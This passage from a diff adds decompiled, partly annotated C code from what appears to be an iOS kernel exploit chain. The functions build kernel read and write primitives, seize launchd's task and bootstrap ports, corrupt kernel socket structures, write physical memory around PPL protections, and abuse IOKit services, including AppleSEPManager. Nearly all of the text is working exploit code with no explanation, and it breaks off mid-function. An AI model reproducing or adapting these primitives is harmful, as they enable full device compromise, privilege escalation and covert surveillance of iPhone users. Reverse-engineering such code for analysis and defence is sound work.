LABEL_22; + if ( *(_DWORD *)(a1 + 0x1940) != 0xFFFFFFFF && *(_QWORD *)(a1 + 0x218) ) + { + v6 = kreadbuf_via_dev_null_only(a1, a2, a4, a3, a5); + goto LABEL_3; + } + if ( *(_DWORD *)(a1 + 0x1938) == 0xFFFFFFFF || *(_DWORD *)(a1 + 0x193C) == 0xFFFFFFFF ) + { +LABEL_22: + v7 = kreadbuf_via_tfp0(*(_DWORD *)(a1 + 0x1918), a2, a3, *(unsigned int *)(a1 + 0x178), (__int64)a4, 0LL); + return v7 == 0; + } + v6 = sub_25334((int *)a1, a2, a4, a3, a5); + } +LABEL_3: + if ( v6 ) + v7 = 5; + else + v7 = 0; + return v7 == 0; +} +// 25E54: using guessed type __int64 __fastcall kreadbuf_via_dev_null_only(_QWORD, _QWORD, _QWORD, _QWORD, _QWORD); + +//----- (000000000002A480) ---------------------------------------------------- +bool __fastcall kreadbuf_last_0(__int64 a1, unsigned __int64 a2, mach_vm_size_t a3, void *a4) +{ + return kreadbuf(a1, a2, a3, a4, 0LL); +} + +//----- (000000000002A488) ---------------------------------------------------- +bool __fastcall noppl_kwritebuf(__int64 a1, unsigned __int64 a2, const void *a3, mach_vm_size_t a4, int a5) +{ + __int64 (*v5)(void); // x8 + int v6; // w0 + int v7; // w0 + + v5 = *(__int64 (**)(void))(a1 + 0x40); + if ( v5 ) + { + v6 = v5(); + goto LABEL_3; + } + if ( (unsigned int)(*(_DWORD *)(a1 + 0xAC) + 1) >= 2 && *(_QWORD *)(a1 + 0xD8) ) + { + v6 = sub_28F90(a1, a2, (__int64)a3, a4, a5); + } + else if ( (unsigned int)(*(_DWORD *)(a1 + 0xE8) + 1) >= 2 && *(_QWORD *)(a1 + 0xF8) && *(_QWORD *)(a1 + 0x100) ) + { + v6 = sub_271B0(a1, a2, (__int64)a3, a4, a5); + } + else + { + if ( *(_DWORD *)(a1 + 0x1930) == 0xFFFFFFFF || *(_DWORD *)(a1 + 0x1934) == 0xFFFFFFFF ) + goto LABEL_22; + if ( *(_DWORD *)(a1 + 0x1940) != 0xFFFFFFFF && *(_QWORD *)(a1 + 0x218) ) + { + v6 = sub_268F8(a1, a2, (__int64)a3, a4, a5); + goto LABEL_3; + } + if ( *(_DWORD *)(a1 + 0x1938) == 0xFFFFFFFF || *(_DWORD *)(a1 + 0x193C) == 0xFFFFFFFF ) + { +LABEL_22: + v7 = sub_2A7F4(*(_DWORD *)(a1 + 0x1918), a2, (__int64)a3, a4, *(_DWORD *)(a1 + 0x178)); + return v7 == 0; + } + v6 = sub_25498((int *)a1, a2, a3, a4, a5); + } +LABEL_3: + if ( v6 ) + v7 = 5; + else + v7 = 0; + return v7 == 0; +} + +//----- (000000000002A56C) ---------------------------------------------------- +bool __fastcall kwritebuf_last_0(__int64 a1, unsigned __int64 a2, const void *a3, mach_vm_size_t a4) +{ + return noppl_kwritebuf(a1, a2, a3, a4, 0); +} + +//----- (000000000002A574) ---------------------------------------------------- +__int64 __fastcall ppl_kwrite32(__int64 a1, mach_vm_address_t a2, int a3) +{ + unsigned __int64 v4; // x21 + _QWORD *v5; // x19 + __int64 result; // x0 + int v7; // [xsp+Ch] [xbp-24h] BYREF + __int64 vars8; // [xsp+38h] [xbp+8h] + + v4 = a2; + v5 = (_QWORD *)a1; + v7 = a3; + if ( *(_QWORD *)(a1 + 0x158) < 0x1F530F02800000uLL ) + { +LABEL_8: + if ( ((vars8 ^ (2 * vars8)) & 0x4000000000000000LL) != 0 ) + __break(0xC471u); + return noppl_kwrite32(a1, a2, a3); + } + if ( krw_ctx_has_flag((_DWORD *)a1, 0x5184001) ) + return ppl_kwritebuf((__int64)v5, v4, (__int64)&v7, 4); + result = sub_39090(v5, v4); + if ( result ) + { + a2 = result; + a1 = (__int64)v5; + goto LABEL_8; + } + return result; +} + +//----- (000000000002A63C) ---------------------------------------------------- +void __fastcall sub_2A63C(__int64 a1, mach_vm_address_t address, __int64 a3) +{ + mach_vm_address_t v4; // x21 + _DWORD *v5; // x20 + __int64 vars8; // [xsp+28h] [xbp+8h] + + v4 = address; + v5 = (_DWORD *)a1; + if ( *(_QWORD *)(a1 + 0x158) >= 0x1F530F02800000uLL ) + { + if ( krw_ctx_has_flag((_DWORD *)a1, 0x5184001) ) + { + if ( ((vars8 ^ (2 * vars8)) & 0x4000000000000000LL) != 0 ) + __break(0xC471u); + sub_13D9C(v5, v4, a3); + return; + } + a1 = sub_39090(v5, v4); + if ( !a1 ) + return; + address = a1; + LODWORD(a1) = (_DWORD)v5; + } + if ( ((vars8 ^ (2 * vars8)) & 0x4000000000000000LL) != 0 ) + __break(0xC471u); + kwrite64_last_arg(a1, address); +} +// 2A6A4: variable 'vars8' is possibly undefined + +//----- (000000000002A714) ---------------------------------------------------- +__int64 __fastcall kwritebuf_universal(_QWORD *a1, unsigned __int64 a2, __int64 a3, __int64 a4) +{ + unsigned __int64 v6; // x22 + _QWORD *v7; // x21 + __int64 result; // x0 + __int64 vars8; // [xsp+28h] [xbp+8h] + + v6 = a2; + v7 = a1; + if ( a1[0x2B] >= 0x1F530F02800000uLL ) + { + if ( krw_ctx_has_flag(a1, 0x5184001) ) + { + if ( ((vars8 ^ (2 * vars8)) & 0x4000000000000000LL) != 0 ) + __break(0xC471u); + return ppl_kwritebuf((__int64)v7, v6, a3, a4); + } + result = sub_39090(v7, v6); + if ( !result ) + return result; + a2 = result; + a1 = v7; + } + if ( ((vars8 ^ (2 * vars8)) & 0x4000000000000000LL) != 0 ) + __break(0xC471u); + return noppl_kwritebuf(a1, a2, a3, a4, 1LL); +} +// 2A784: variable 'vars8' is possibly undefined +// 2A488: using guessed type __int64 __fastcall noppl_kwritebuf(_QWORD, _QWORD, _QWORD, _QWORD, _QWORD); + +//----- (000000000002A7F4) ---------------------------------------------------- +__int64 __fastcall sub_2A7F4( + vm_map_t target_task, + mach_vm_address_t address, + __int64 a3, + mach_vm_size_t size, + unsigned int a5) +{ + unsigned int v5; // w21 + unsigned int v8; // w24 + __int64 v10; // x25 + unsigned int v11; // w26 + mach_msg_type_number_t v12; // w23 + __int64 result; // x0 + vm_machine_attribute_val_t value; // [xsp+Ch] [xbp-44h] BYREF + + v5 = size; + if ( a5 ) + v8 = a5; + else + v8 = size; + if ( (_DWORD)size ) + { + v10 = 0LL; + v11 = size; + while ( 1 ) + { + v12 = v11 >= v8 ? v8 : v11; + result = mach_vm_write(target_task, v10 + address, v10 + a3, v12); + if ( (_DWORD)result ) + break; + v10 += v12; + v11 -= v12; + if ( !v11 ) + goto LABEL_11; + } + } + else + { +LABEL_11: + value = 7; + mach_vm_machine_attribute(target_task, address, v5, 1u, &value); + return 0LL; + } + return result; +} + +//----- (000000000002A8A4) ---------------------------------------------------- +__int64 __fastcall sub_2A8A4(__int64 a1) +{ + __int64 v1; // x19 + kern_return_t v3; // w0 + __int64 v5; // x21 + unsigned __int64 v6; // x23 + __int128 v7; // q0 + mach_port_name_t iin_name; // w1 + kern_return_t attributes; // w0 + mach_port_name_t v10; // w2 + unsigned __int64 ipc_port; // x0 + kern_return_t v12; // w0 + mach_msg_type_number_t port_info_outCnt; // [xsp+Ch] [xbp-B4h] BYREF + integer_t port_info_out[4]; // [xsp+10h] [xbp-B0h] BYREF + __int128 v15; // [xsp+20h] [xbp-A0h] + __int128 v16; // [xsp+30h] [xbp-90h] + __int128 v17; // [xsp+40h] [xbp-80h] + int v18; // [xsp+50h] [xbp-70h] + mach_msg_type_number_t tree_infoCnt; // [xsp+54h] [xbp-6Ch] BYREF + ipc_info_tree_name_array_t tree_info; // [xsp+58h] [xbp-68h] BYREF + mach_msg_type_number_t table_infoCnt; // [xsp+64h] [xbp-5Ch] BYREF + ipc_info_name_array_t table_info; // [xsp+68h] [xbp-58h] BYREF + ipc_info_space_t space_info; // [xsp+70h] [xbp-50h] BYREF + mach_port_name_t v24; // [xsp+8Ch] [xbp-34h] BYREF + + if ( !a1 ) + return 0xAD001LL; + if ( bootstrap_port + 1 > 1 ) + return 0LL; + v1 = 0x28003LL; + v24 = 0; + if ( krw_task_for_pid(a1, 1, &v24) ) + { + memset(&space_info, 0, sizeof(space_info)); + table_info = 0LL; + table_infoCnt = 0; + tree_info = 0LL; + tree_infoCnt = 0; + v3 = mach_port_space_info(v24, &space_info, &table_info, &table_infoCnt, &tree_info, &tree_infoCnt); + if ( v3 ) + { + v1 = v3 | 0x80000000; + } + else if ( table_infoCnt ) + { + v5 = 0LL; + v6 = 0LL; + v7 = 0uLL; + while ( 1 ) + { + v18 = 0; + v16 = v7; + v17 = v7; + *(_OWORD *)port_info_out = v7; + v15 = v7; + port_info_outCnt = 0x11; + if ( (table_info[v5].iin_type & 0x1F0000) != 0 ) + { + iin_name = table_info[v5].iin_name; + if ( iin_name + 1 >= 2 ) + { + attributes = mach_port_get_attributes(v24, iin_name, 7, port_info_out, &port_info_outCnt); + v7 = 0uLL; + if ( !attributes && port_info_out[3] == 0x80 && (~BYTE4(v16) & 6) == 0 ) + break; + } + } + ++v6; + ++v5; + if ( v6 >= table_infoCnt ) + goto LABEL_8; + } + v10 = table_info[v5].iin_name; + if ( v10 + 1 >= 2 ) + { + ipc_port = task_get_ipc_port(a1, v24, v10); + if ( ipc_port ) + { + v1 = sub_36480(a1, ipc_port, &bootstrap_port); + if ( !(_DWORD)v1 ) + { + v12 = task_set_special_port(mach_task_self_, 4, bootstrap_port); + if ( v12 ) + v1 = v12 | 0x80000000; + else + v1 = 0LL; + } + } + } + } +LABEL_8: + if ( table_info && table_infoCnt ) + mach_vm_deallocate(mach_task_self_, (mach_vm_address_t)table_info, 0x1CLL * table_infoCnt); + if ( tree_info && tree_infoCnt ) + mach_vm_deallocate(mach_task_self_, (mach_vm_address_t)tree_info, 0x24LL * tree_infoCnt); + mach_port_deallocate(mach_task_self_, v24); + } + return v1; +} + +//----- (000000000002AABC) ---------------------------------------------------- +__int64 __fastcall sub_2AABC(__int64 a1, unsigned int a2) +{ + mach_timespec_t v2; // x1 + + v2 = (mach_timespec_t)((a2 / 0xF4240uLL) & 0x7FFFFFFFFLL | ((unsigned __int64)((0x7D * (a2 % 0xF4240)) & 0x1FFFFFFF) << 0x23)); + if ( semaphore_timedwait(*(_DWORD *)(a1 + 0x264), v2) == 0x31 ) + return 0LL; + else + return 0xFFFFFFFFLL; +} + +//----- (000000000002AB10) ---------------------------------------------------- +__int64 sub_2AB10() +{ + return 0LL; +} + +//----- (000000000002AB18) ---------------------------------------------------- +__int64 __fastcall sub_2AB18(__int64 a1) +{ + __int64 v1; // x22 + int v3; // w0 + int v4; // w20 + int v5; // w21 + int v6; // w8 + int v7; // w21 + bool v8; // zf + int v9; // w20 + __int64 v10; // x8 + int v12; // w19 + int v13; // w8 + sockaddr v14; // [xsp+0h] [xbp-50h] BYREF + __int64 v15; // [xsp+20h] [xbp-30h] BYREF + unsigned int v16; // [xsp+2Ch] [xbp-24h] + + v1 = *(_QWORD *)(a1 + 0x28); + if ( !v1 ) + return 0LL; + v16 = 0; + v3 = socket(0x20, 2, 2); + v4 = v3; + if ( v3 < 0 + || (memset(&v14, 0, 0x20), *(_DWORD *)&v14.sa_data[2] = 2, connect(v3, &v14, 0x20u)) + || (unsigned int)j__fileport_makeport() ) + { + v5 = *__error(); + v6 = *__error(); + if ( v5 < 0 ) + v6 = -v6; + v7 = v6 | 0x40000000; + goto LABEL_8; + } + v7 = sub_356C8((_DWORD *)a1, v16, &v15); + if ( !v7 ) + { + v7 = 0x2800F; + if ( kread64((_DWORD *)a1, v15 + 0x10, &v15) ) + { + if ( !validate_addr(a1, v15) ) + goto LABEL_40; + if ( kread64((_DWORD *)a1, v15 + 0x30, &v15) ) + { + if ( validate_addr(a1, v15) ) + { + v7 = 0; + *(_DWORD *)(v1 + 0x10) = v4; + *(_QWORD *)(v1 + 0x18) = v15; + goto LABEL_8; + } +LABEL_40: + v7 = 0x28026; + } + } + } +LABEL_8: + if ( v16 + 1 >= 2 ) + { + mach_port_deallocate(mach_task_self_, v16); + v16 = 0; + } + if ( v7 ) + v8 = v4 == 0xFFFFFFFF; + else + v8 = 1; + if ( !v8 ) + { + close(v4); + *(_DWORD *)(v1 + 0x3C) = v7; +LABEL_26: + semaphore_signal(*(_DWORD *)(v1 + 0xC)); + return 0LL; + } + *(_DWORD *)(v1 + 0x3C) = v7; + if ( v7 ) + goto LABEL_26; + v9 = 0xAD001; + while ( !(unsigned int)__semwait_signal() ) + { + if ( *(_BYTE *)(v1 + 0x38) ) + { + v9 = 0; + goto LABEL_38; + } + v10 = *(_QWORD *)(v1 + 0x20); + if ( !v10 || !*(_QWORD *)(v1 + 0x28) || *(_QWORD *)(v1 + 0x30) != 8LL ) + goto LABEL_38; + *(_QWORD *)&v14.sa_len = v10 - 0x30; + if ( noppl_kwritebuf(a1, *(_QWORD *)(v1 + 0x18) + 8LL, &v14, *(unsigned int *)(a1 + 0x168), 1) ) + { + v15 = **(_QWORD **)(v1 + 0x28); + if ( setsockopt(*(_DWORD *)(v1 + 0x10), 2, 0x10, &v15, 8u) ) + break; + *(_QWORD *)&v14.sa_len = 0LL; + if ( noppl_kwritebuf(a1, *(_QWORD *)(v1 + 0x18) + 8LL, &v14, *(unsigned int *)(a1 + 0x168), 1) ) + continue; + } + v9 = 0x28010; + goto LABEL_38; + } + v12 = *__error(); + v13 = *__error(); + if ( v12 < 0 ) + v13 = -v13; + v9 = v13 | 0x40000000; +LABEL_38: + *(_DWORD *)(v1 + 0x3C) = v9; + if ( !*(_BYTE *)(v1 + 0x38) ) + goto LABEL_26; + return 0LL; +} + +//----- (000000000002AD98) ---------------------------------------------------- +__int64 __fastcall sub_2AD98(semaphore_t a1) +{ + semaphore_wait(a1); + return 0LL; +} + +//----- (000000000002ADB4) ---------------------------------------------------- +__int64 __fastcall sub_2ADB4(__int64 a1) +{ + semaphore_t v2; // w19 + pthread_mutex_t *v3; // x20 + __int64 v4; // x26 + char v5; // w25 + char v6; // w8 + unsigned int v7; // w27 + __int64 v8; // x22 + unsigned int v9; // w0 + unsigned int v10; // w23 + __int64 v11; // x8 + __int64 v12; // x24 + __int64 v13; // x23 + __int64 v14; // x28 + __int64 v15; // x8 + vm_address_t v16; // x8 + vm_size_t v17; // x24 + mem_entry_name_port_t v18; // w5 + vm_offset_t v19; // x6 + unsigned __int64 v20; // x9 + vm_size_t v21; // x23 + vm_address_t address; // [xsp+18h] [xbp-58h] BYREF + + v2 = *(_DWORD *)(a1 + 0x88); + v3 = (pthread_mutex_t *)(a1 + 0x20); + v4 = *(_QWORD *)(a1 + 0x68); + if ( !v4 ) + { + v5 = 0; + v6 = 0; + v7 = 0; + v8 = *(_QWORD *)a1; + while ( (v6 & 1) == 0 || !pthread_mutex_unlock(v3) ) + { + if ( v7 ) + thread_switch(0, 2, 1u); + if ( pthread_mutex_lock(v3) ) + { + ++*(_DWORD *)(a1 + 0x78); + goto LABEL_40; + } + if ( !*(_QWORD *)(a1 + 0x68) ) + { + v9 = sub_1F190(); + if ( v9 < *(_DWORD *)(a1 + 0x10) ) + { + v10 = v9; + v11 = *(_QWORD *)(*(_QWORD *)(a1 + 8) + 8LL * v9); + if ( v11 ) + { + v12 = *(_QWORD *)(v11 + *(unsigned int *)(a1 + 0x14)); + if ( validate_addr(v8, v12) ) + { + if ( v10 == (unsigned int)sub_1F190() ) + { + v13 = v12 + *(unsigned int *)(a1 + 0x60); + v14 = v13 & ~*(_QWORD *)(v8 + 0x188); + v15 = *(_QWORD *)(a1 + 0x18); + if ( v15 && v14 == v15 ) + break; + if ( !validate_addr_maybe2(v8, v12 + *(unsigned int *)(a1 + 0x60)) ) + { +LABEL_37: + *(_QWORD *)(a1 + 0x18) = v14; + break; + } + v16 = *(_QWORD *)(v8 + 0x90); + if ( !v16 || (v17 = *(_QWORD *)(v8 + 0x98)) == 0 ) + { + address = 0LL; + v18 = *(_DWORD *)(v8 + 0x58); + if ( v18 + 1 < 2 ) + goto LABEL_37; + v19 = *(_QWORD *)(v8 + 0x80); + if ( !v19 ) + goto LABEL_37; + v17 = *(unsigned int *)(v8 + 0x88); + if ( !(_DWORD)v17 || vm_map(mach_task_self_, &address, v17, 0LL, 1, v18, v19, 0, 1, 1, 1u) ) + goto LABEL_37; + v16 = address; + *(_QWORD *)(v8 + 0x90) = address; + *(_QWORD *)(v8 + 0x98) = v17; + } + v20 = 0LL; + while ( !*(_DWORD *)(v16 + (unsigned int)(v20 + 0x20)) + || *(_QWORD *)(v16 + (unsigned int)(v20 + 0x18)) != v14 ) + { + v20 += 0x30LL; + if ( v17 <= (unsigned int)v20 ) + goto LABEL_37; + } + v21 = (*(_QWORD *)(v8 + 0x188) & v13) + + ((((*(_QWORD *)(v8 + 0x80) + *(unsigned int *)(v8 + 0x88) + vm_page_size - 1) & -(__int64)vm_page_size) >> vm_page_shift) + + v20 / 0x30) + * vm_page_size; + *(_QWORD *)(a1 + 0x68) = pthread_self(); + *(_QWORD *)(a1 + 0x70) = v21; + v5 = 1; + } + } + } + } + } + if ( !*(_QWORD *)(a1 + 0x68) ) + { + v6 = 1; + if ( v7++ < 0xF ) + continue; + } + goto LABEL_3; + } + ++*(_DWORD *)(a1 + 0x78); + goto LABEL_39; + } + v5 = 0; +LABEL_3: + ++*(_DWORD *)(a1 + 0x78); + if ( !v4 ) +LABEL_39: + pthread_mutex_unlock(v3); +LABEL_40: + if ( (v5 & 1) != 0 ) + semaphore_wait(v2); + return 0LL; +} + +//----- (000000000002B03C) ---------------------------------------------------- +__int64 __fastcall sub_2B03C(__int64 a1) +{ + unsigned int v2; // w21 + int v3; // w0 + + __error(); + v2 = 0; + *(_BYTE *)(a1 + 0x49) = 1; + while ( 1 ) + { + v3 = __ulock_wait(); + if ( !v3 ) + { + ++*(_QWORD *)(a1 + 0x40); + goto LABEL_10; + } + if ( v3 == 0xFFFFFFFF && *__error() == 4 && v2++ < 0x64 ) + continue; + if ( *__error() != 0xE ) + return 0LL; +LABEL_10: + v2 = 0; + if ( *(_BYTE *)(a1 + 0x48) ) + return 0LL; + } +} + +//----- (000000000002B0E8) ---------------------------------------------------- +__int64 __fastcall sub_2B0E8(__int64 a1, __int64 a2, __int64 a3) +{ + __int64 v3; // x8 + mach_port_t v4; // w21 + __int64 v5; // x20 + __int64 v6; // x22 + __int64 v7; // x27 + __int64 v8; // x8 + __int64 v9; // x25 + vm_size_t v13; // x9 + __int64 v14; // x10 + __int64 v15; // x12 + __int64 v16; // x13 + __int64 v17; // x14 + kern_return_t v18; // w0 + uint64_t v19; // x28 + __int64 v20; // x0 + __int64 v21; // x27 + __int64 v23; // x0 + __int64 v24; // x0 + __int64 v25; // x0 + __int64 v26; // x0 + __int64 v27; // [xsp+0h] [xbp-2A0h] + __int64 v28; // [xsp+8h] [xbp-298h] BYREF + uint64_t input; // [xsp+10h] [xbp-290h] BYREF + size_t outputStructCnt; // [xsp+18h] [xbp-288h] BYREF + unsigned __int64 v31; // [xsp+20h] [xbp-280h] BYREF + int v32; // [xsp+2Ch] [xbp-274h] BYREF + __int128 outputStruct; // [xsp+30h] [xbp-270h] BYREF + __int128 v34; // [xsp+40h] [xbp-260h] + __int128 v35; // [xsp+50h] [xbp-250h] + __int128 v36; // [xsp+60h] [xbp-240h] + __int128 v37; // [xsp+70h] [xbp-230h] + __int128 v38; // [xsp+80h] [xbp-220h] + __int128 v39; // [xsp+90h] [xbp-210h] + __int128 v40; // [xsp+A0h] [xbp-200h] + __int128 v41; // [xsp+B0h] [xbp-1F0h] + __int128 v42; // [xsp+C0h] [xbp-1E0h] + __int128 v43; // [xsp+D0h] [xbp-1D0h] + __int128 v44; // [xsp+E0h] [xbp-1C0h] + __int128 v45; // [xsp+F0h] [xbp-1B0h] + __int128 v46; // [xsp+100h] [xbp-1A0h] + __int128 v47; // [xsp+110h] [xbp-190h] + __int128 v48; // [xsp+120h] [xbp-180h] + int inputStruct; // [xsp+138h] [xbp-168h] BYREF + __int128 v50; // [xsp+13Ch] [xbp-164h] + __int128 v51; // [xsp+14Ch] [xbp-154h] + __int128 v52; // [xsp+15Ch] [xbp-144h] + __int128 v53; // [xsp+16Ch] [xbp-134h] + __int128 v54; // [xsp+17Ch] [xbp-124h] + __int128 v55; // [xsp+18Ch] [xbp-114h] + __int128 v56; // [xsp+19Ch] [xbp-104h] + __int128 v57; // [xsp+1ACh] [xbp-F4h] + __int128 v58; // [xsp+1BCh] [xbp-E4h] + __int128 v59; // [xsp+1CCh] [xbp-D4h] + __int128 v60; // [xsp+1DCh] [xbp-C4h] + __int128 v61; // [xsp+1ECh] [xbp-B4h] + __int128 v62; // [xsp+1FCh] [xbp-A4h] + __int128 v63; // [xsp+20Ch] [xbp-94h] + _BYTE v64[28]; // [xsp+21Ch] [xbp-84h] BYREF + + v31 = 0LL; + v3 = *(_QWORD *)(a1 + 0x1D48); + if ( !v3 ) + return 0xAD001LL; + v4 = *(_DWORD *)(v3 + 0x70); + if ( v4 + 1 < 2 ) + return 0x28008LL; + v5 = *(_QWORD *)(v3 + 0x58); + if ( !v5 ) + return 0x28026LL; + v6 = *(_QWORD *)(v3 + 0x60); + if ( !v6 ) + return 0x28026LL; + v7 = *(_QWORD *)(v3 + 0x68); + if ( !v7 ) + return 0x28026LL; + v8 = *(_QWORD *)(v3 + 0x50); + v9 = 0x28011LL; + if ( !v8 ) + return v9; + v13 = vm_page_size; + memset(v64, 0, sizeof(v64)); + v63 = 0u; + v62 = 0u; + v61 = 0u; + v60 = 0u; + v59 = 0u; + v58 = 0u; + v57 = 0u; + v56 = 0u; + v55 = 0u; + v54 = 0u; + v53 = 0u; + v52 = 0u; + v51 = 0u; + v50 = 0u; + inputStruct = 0x80; + v14 = 0x28LL; + v15 = 0x30LL; + if ( *(int *)(a1 + 0x140) > 0x225B ) + v14 = 0x30LL; + v16 = 0x38LL; + if ( *(int *)(a1 + 0x140) > 0x225B ) + v15 = 0x38LL; + v17 = 0x40LL; + if ( *(int *)(a1 + 0x140) > 0x225B ) + { + v16 = 0x40LL; + v17 = 0x48LL; + } + *(_QWORD *)((char *)&inputStruct + v14) = vm_page_size; + *(_QWORD *)((char *)&inputStruct + v15) = v8; + *(_QWORD *)((char *)&inputStruct + v16) = v8; + *(_QWORD *)((char *)&inputStruct + v17) = v13; + v47 = 0uLL; + v48 = 0uLL; + v45 = 0uLL; + v46 = 0uLL; + v43 = 0uLL; + v44 = 0uLL; + v41 = 0uLL; + v42 = 0uLL; + v39 = 0uLL; + v40 = 0uLL; + v37 = 0uLL; + v38 = 0uLL; + v35 = 0uLL; + v36 = 0uLL; + outputStruct = 0uLL; + v34 = 0uLL; + outputStructCnt = 0x100LL; + v18 = IOConnectCallStructMethod(v4, 9u, &inputStruct, 0x100uLL, &outputStruct, &outputStructCnt); + if ( v18 ) + return v18 | 0x80000000; + v19 = HIDWORD(v34); + if ( (unsigned int)(HIDWORD(v34) - 1) > 0x3FE ) + return v9; + if ( !(unsigned int)kreadbuf( + a1, + v7 + (unsigned int)(*(_DWORD *)(a1 + 0x168) * HIDWORD(v34)), + *(int *)(a1 + 0x168), + &v31, + 0LL) ) + return 0x2800FLL; + v31 = sub_29CB0((_DWORD *)a1, v31); + if ( !validate_addr(a1, v31) ) + return 0x28026LL; + v20 = sub_218A8(a1, v31 + 0x10, 0LL); + if ( !v20 ) + return 0x28026LL; + v21 = v20; + if ( (((v31 + 0x10) ^ (v31 + 0x78)) & ~*(_QWORD *)(a1 + 0x188)) != 0 ) + { + v9 = 0x28026LL; + v27 = sub_218A8(a1, v31 + 0x78, 0LL); + if ( !v27 ) + return v9; + } + else + { + v27 = v20 + 0x68; + } + v32 = 0; + if ( *(_QWORD *)(a1 + 0x158) >= 0x27120F04B00003uLL && (*(_BYTE *)a1 & 0x20) != 0 ) + physwritebuf_idk_MAYBENOTSURE(a1, v21, &v32, 4u, 0); + else + v23 = physwritebuf_ppl_MAYBENOTSURE(a1, v21, &v32, 4u); + v9 = v23; + if ( !(_DWORD)v23 ) + { + if ( (unsigned int)kreadbuf(a1, a2, 8LL, &v28, 0LL) ) + { + physwrite64_maybe(a1, v27, v28 - a3); + v9 = v24; + if ( !(_DWORD)v24 ) + { + physwrite64_maybe(a1, v6, a2); + v9 = v25; + if ( !(_DWORD)v25 ) + { + input = v19; + IOConnectCallScalarMethod(v4, 0xAu, &input, 1u, 0LL, 0LL); + physwrite64_maybe(a1, v6, v5); + return v26; + } + } + return v9; + } + return 0x2800FLL; + } + return v9; +} +// 2B3CC: variable 'v23' is possibly undefined +// 2B400: variable 'v24' is possibly undefined +// 2B418: variable 'v25' is possibly undefined +// 2B450: variable 'v26' is possibly undefined +// 2A360: using guessed type __int64 __fastcall kreadbuf(_QWORD, _QWORD, _QWORD, _QWORD, _QWORD); + +//----- (000000000002B464) ---------------------------------------------------- +void __fastcall physwrite64_maybe(__int64 a1, __int64 a2, __int64 a3) +{ + __int64 v3; // [xsp+8h] [xbp-8h] BYREF + + v3 = a3; + if ( *(_QWORD *)(a1 + 0x158) >= 0x27120F04B00003uLL && (*(_BYTE *)a1 & 0x20) != 0 ) + physwritebuf_idk_MAYBENOTSURE(a1, a2, &v3, 8u, 0); + else + physwritebuf_ppl_MAYBENOTSURE(a1, a2, &v3, 8u); +} + +//----- (000000000002B4C8) ---------------------------------------------------- +__int64 __fastcall physwritebuf_ppl_MAYBENOTSURE(__int64 a1, __int64 a2, _QWORD *a3, unsigned int a4) +{ + vm_size_t v4; // x19 + __int64 result; // x0 + vm_size_t v9; // x23 + vm_size_t v10; // x8 + void *v11; // x1 + void *__dst; // [xsp+8h] [xbp-38h] BYREF + + __dst = 0LL; + v4 = vm_page_size; + if ( a2 + (unsigned __int64)a4 > (-(__int64)vm_page_size & a2) + vm_page_size ) + return 0xAD001LL; + v9 = vm_page_mask; + result = physmap_maybe(a1, (vm_address_t *)&__dst, vm_page_size, a2); + if ( !(_DWORD)result ) + { + v10 = v9 & a2; + if ( a4 == 8 ) + { + v11 = __dst; + *(_QWORD *)((char *)__dst + v10) = *a3; + } + else if ( a4 == 4 ) + { + v11 = __dst; + *(_DWORD *)((char *)__dst + v10) = *(_DWORD *)a3; + } + else + { + memcpy(__dst, a3, a4); + v11 = __dst; + } + vm_deallocate(mach_task_self_, (vm_address_t)v11, v4); + return 0LL; + } + return result; +} + +//----- (000000000002B5BC) ---------------------------------------------------- +__int64 __fastcall sub_2B5BC(__int64 a1) +{ + unsigned int v2; // w22 + unsigned int v3; // w0 + __int64 v4; // x19 + unsigned __int64 v5; // x0 + mach_vm_address_t v6; // x23 + unsigned int v7; // w0 + unsigned int v8; // w24 + int v9; // w0 + int arg; // w0 + unsigned int v11; // w8 + __int64 v13; // [xsp+8h] [xbp-38h] BYREF + + v2 = *(_DWORD *)(a1 + 0x10); + if ( v2 + 1 <= 1 ) + { + v3 = (unsigned int)sub_24D64("AppleSEPManager"); + if ( v3 + 1 < 2 ) + return 0xAD011LL; + v2 = v3; + *(_DWORD *)(a1 + 0x10) = v3; + } + v4 = 0x28010LL; + v5 = *(_QWORD *)(a1 + 0x18); + if ( !v5 ) + { + v5 = port_name_to_kaddr(a1, v2); + if ( !v5 ) + return 0x2800ELL; + *(_QWORD *)(a1 + 0x18) = v5; + } + if ( *(_QWORD *)(a1 + 0x20) ) + { + v13 = *(_QWORD *)(a1 + 0x20); + v6 = v5 + 0x28; + } + else + { + v6 = v5 + 0x28; + if ( !(unsigned int)kread64(a1, v5 + 0x28, &v13) ) + return 0x2800FLL; + *(_QWORD *)(a1 + 0x20) = v13; + } + if ( (unsigned int)kwrite64_last_arg(a1, v6) ) + { + v7 = _IOServiceSetAuthorizationID(); + v8 = v7; + if ( v7 ) + { + if ( v7 != 0x35 ) + { + v8 = v7 & 0xFFF | 0x70000000; + goto LABEL_25; + } + if ( *(_BYTE *)(a1 + 0xC) ) + { + *(_BYTE *)(a1 + 0xC) = 0; + v8 = sub_3C450(a1, mach_task_self_, 0, 0LL); + *(_BYTE *)(a1 + 0xC) = 1; + if ( v8 ) + goto LABEL_25; + } + else + { + v8 = sub_3C450(a1, mach_task_self_, 0, 0LL); + if ( v8 ) + goto LABEL_25; + } + v9 = _IOServiceSetAuthorizationID(); + if ( v9 ) + v8 = v9 & 0xFFF | 0x70000000; + else + v8 = 0; + } +LABEL_25: + arg = kwrite64_last_arg(a1, v6); + if ( v8 ) + v11 = v8; + else + v11 = 0x28010; + if ( arg ) + return v8; + else + return v11; + } + return v4; +} +// 28840: using guessed type __int64 __fastcall kread64(_QWORD, _QWORD, _QWORD); + +//----- (000000000002B788) ---------------------------------------------------- +__int64 __fastcall sub_2B788(const char **a1) +{ + __int64 v1; // x19 + __int64 v3; // x20 + pid_t v5; // w0 + unsigned int v6; // w9 + int v7; // [xsp+0h] [xbp-30h] BYREF + pid_t v8; // [xsp+4h] [xbp-2Ch] BYREF + posix_spawn_file_actions_t v9; // [xsp+8h] [xbp-28h] BYREF + sigset_t v10; // [xsp+14h] [xbp-1Ch] BYREF + posix_spawnattr_t v11; // [xsp+18h] [xbp-18h] BYREF + + v1 = 0xAD00BLL; + v11 = 0LL; + v9 = 0LL; + v7 = 0xFFFFFFFF; + v8 = 0xFFFFFFFF; + if ( !a1 || !*a1 || !**a1 ) + return 0xAD001LL; + if ( !posix_spawnattr_init(&v11) ) + { + v10 = 0xFFFFFFFF; + if ( !posix_spawnattr_setflags(&v11, 7) + && !posix_spawnattr_setsigdefault(&v11, &v10) + && !posix_spawnattr_setpgroup(&v11, 0) + && !posix_spawn_file_actions_init(&v9) ) + { + if ( posix_spawn_file_actions_addopen(&v9, 0, "/dev/null", 0x20000, 0) + || posix_spawn_file_actions_addopen(&v9, 1, "/dev/null", 0x20201, 0) + || 